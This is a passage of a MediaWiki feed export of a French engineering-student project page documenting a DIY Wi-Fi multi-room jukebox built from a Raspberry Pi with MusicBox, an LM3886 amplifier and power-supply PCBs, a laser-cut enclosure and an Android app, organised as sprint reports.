[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo).&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Alimentation=====&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]&lt;br /&gt;
&lt;br /&gt;
Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu).&amp;lt;br&amp;gt;&lt;br /&gt;
Son principe de fonctionnement est le suivant :&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_1.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après double redressement par les bobines, on se retrouve avec ce signal :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_2.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après filtrage par les condensateurs, on se retrouve avec un signal lissé :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_3.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La différence entre les tensions maximum et minimum de la tension au borne des condensateurs est appelée tension de &amp;quot;ronflement&amp;quot;.&amp;lt;br&amp;gt;&lt;br /&gt;
Notre but est donc de diminuer cet écart afin d'obtenir une alimentation la plus stable possible pour notre amplificateur, au risque de détériorer le matériel !&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a donc ajouté un filtre CRC, visible sur le schéma suivant (schéma final de notre alimentation) :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Supply Schematics.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
NB : Le composant &amp;quot;KB1&amp;quot; est notre pont de Graetz (pont de diodes).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de bien dimensionner les composants, nous avons effectué diverses simulations sous Altium Designer.&amp;lt;br&amp;gt;&lt;br /&gt;
On ne se basera que sur les composants de la moitié supérieure (C1, C3, R1, C5 et C7) car les résultats seront les mêmes pour les autres puisqu'il s'agit d'une alimentation symétrique.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive d'entrée du filtre (C1+C3)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaEntree.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus elle est élevée, plus la tension efficace de sortie sera élevée.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur de R1&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceResistance.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Moins la résistance est élevée, plus la tension de sortie est importante. (Mais on augmente le ripple)&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive de sortie du filtre (C5+C7)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaSortie.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus la capacité de sortie est importante, plus on limite le ripple.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Boîtier du module=====&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser le boîtier du module en bois. En effet, cela nous permet d'utiliser la découpeuse laser du Fabricarium, et le rendu final est très esthétique.&amp;lt;br&amp;gt;&lt;br /&gt;
Il nous a suffit de nous rendre sur un site de [http://carrefour-numerique.cite-sciences.fr/fablab/wiki/doku.php?id=projets:generateur_de_boites génération de boîtes]. Une fois le fichier sauvegardé, nous y avons ajouté des trous de manière à y intégrer &lt;br /&gt;
* des LEDs diverses [[Fichier:SVG_Boite_P4.png|thumb|350px|SVG de la boite]]&lt;br /&gt;
* des boutons&lt;br /&gt;
* le bouton principal de volume sonore&lt;br /&gt;
* Un haut-parleur passif interne au module&lt;br /&gt;
* Un bornier pour y connecter un haut-parleur passif externe (8 ohms/50 Watts maxi)&lt;br /&gt;
* Un switch pour passer du haut-parleur externe au haut-parleur interne&lt;br /&gt;
* Le connecteur mâle IEC pour l'alimentation de l'amplificateur&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BoiteFinale.jpg|thumb|350px|Boite Finale]]&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un design musical.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Toutes les instructions d'utilisation de la découpeuse laser du Fabricarium sont disponibles [http://www.fabricarium.fr/mediawiki-1.23.5/index.php?title=Speedy_400 à cette adresse].&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27119</id>
		<title>P4 Jukebox multi-pièces</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27119"/>
				<updated>2016-02-13T15:03:00Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Préparation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Presentation_Modules.png|650px]]&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Pour arriver au bout de ce projet, il conviendra de développer :&lt;br /&gt;
&lt;br /&gt;
* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données&lt;br /&gt;
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)&lt;br /&gt;
* Une application sur Smartphone permettant de commander le système&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Matériel envisagé :'''&lt;br /&gt;
&lt;br /&gt;
* Plateforme Linux embarqué (Raspberry Pi)&lt;br /&gt;
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)&lt;br /&gt;
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)&lt;br /&gt;
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]&lt;br /&gt;
&lt;br /&gt;
* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Logiciels envisagés :'''&lt;br /&gt;
&lt;br /&gt;
* Création d'une application pour Android avec Android Studio&lt;br /&gt;
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Architecture des modules====&lt;br /&gt;
=====Présentation des modules=====&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]&lt;br /&gt;
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]&lt;br /&gt;
&lt;br /&gt;
Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté.&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 1=====&lt;br /&gt;
&lt;br /&gt;
Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 2=====&lt;br /&gt;
&lt;br /&gt;
Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''.&amp;lt;br&amp;gt;&lt;br /&gt;
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Principe_Chaine_Transmission.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
&lt;br /&gt;
* Définition du cadre du projet&lt;br /&gt;
* Création du cahier des charges&lt;br /&gt;
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)&lt;br /&gt;
* Développement du logiciel de diffusion de l'ordinateur central&lt;br /&gt;
* Développement de l'application mobile&lt;br /&gt;
&lt;br /&gt;
=== Objectifs à long terme ===&lt;br /&gt;
&lt;br /&gt;
=====Une solution DIY pour des coûts maitrisés=====&lt;br /&gt;
&lt;br /&gt;
Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.&lt;br /&gt;
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
'''Planning prévisionnel mis à jour :'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4 Gantt.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :&lt;br /&gt;
&lt;br /&gt;
* La Raspberry pi qui recevrait le flux via le réseau wifi&lt;br /&gt;
* Une carte son USB pour améliorer la qualité du signal&lt;br /&gt;
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son&lt;br /&gt;
* Des enceintes passive pour diffuser la musique&lt;br /&gt;
&lt;br /&gt;
Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution &amp;quot;low cost&amp;quot; que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les points clés du projet seraient :&lt;br /&gt;
* Entièrement réalisable soi-même&lt;br /&gt;
* Coût maîtrisé&lt;br /&gt;
* Modulable&lt;br /&gt;
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Fonctionnement par SPRINT===&lt;br /&gt;
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]&lt;br /&gt;
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''&amp;quot;sprint&amp;quot;''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges. &lt;br /&gt;
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #1 (15/10/2015) &amp;lt;br&amp;gt;Objectif : Envoyer un flux musical vers une enceinte déjà existante===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt.&amp;lt;br&amp;gt;&lt;br /&gt;
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]&lt;br /&gt;
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac.&amp;lt;br&amp;gt;&lt;br /&gt;
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :&lt;br /&gt;
*Réaliser une veille technologique complète sur les solutions existantes&lt;br /&gt;
*Se concentrer sur l’application mobile dans un premier temps.&lt;br /&gt;
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #2 (10/11/2015) &amp;lt;br&amp;gt;Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Veille technologique=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. &amp;lt;br&amp;gt;&lt;br /&gt;
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_veilletechno.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Pi MusicBox=====&lt;br /&gt;
&lt;br /&gt;
Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. &amp;lt;br&amp;gt;&lt;br /&gt;
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. &amp;lt;br&amp;gt;&lt;br /&gt;
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_MUSICBOX.png|500px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance].&amp;lt;br&amp;gt;&lt;br /&gt;
 [[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android  BubbleUPnP]]&lt;br /&gt;
&lt;br /&gt;
Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers &amp;quot;BedRoom1&amp;quot; : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&amp;amp;hl=fr BubbleUPnP].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
&lt;br /&gt;
Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées.&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:P4_Sprint2.png|700px]]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :&lt;br /&gt;
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte&lt;br /&gt;
*Réaliser le PCB du circuit d’amplification à base de LM3886&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #3 (05/01/2016) &amp;lt;br&amp;gt;Objectif : Ampli audio &amp;amp; Réalisation de notre propre application Android===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Application Android=====&lt;br /&gt;
&lt;br /&gt;
Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.&lt;br /&gt;
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur Audio=====&lt;br /&gt;
&lt;br /&gt;
Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm.&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
La version quasiment finale du PCB est donc la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:P4_PCB_Ampli.PNG|470px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Principe de l'Amplificateur Audio'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_Ampli_Principe.png|600px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons commandé &lt;br /&gt;
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2))&amp;lt;br&amp;gt;&lt;br /&gt;
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :&lt;br /&gt;
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques&lt;br /&gt;
*Le PCB n’a pas encore été tiré&lt;br /&gt;
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #4 (18/01/2016) &amp;lt;br&amp;gt;Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
'''Partie Hardware'''&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur=====&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
La version finale de notre carte d'amplificateur est la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo).&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Alimentation=====&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]&lt;br /&gt;
&lt;br /&gt;
Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu).&amp;lt;br&amp;gt;&lt;br /&gt;
Son principe de fonctionnement est le suivant :&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_1.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après double redressement par les bobines, on se retrouve avec ce signal :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_2.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après filtrage par les condensateurs, on se retrouve avec un signal lissé :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_3.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
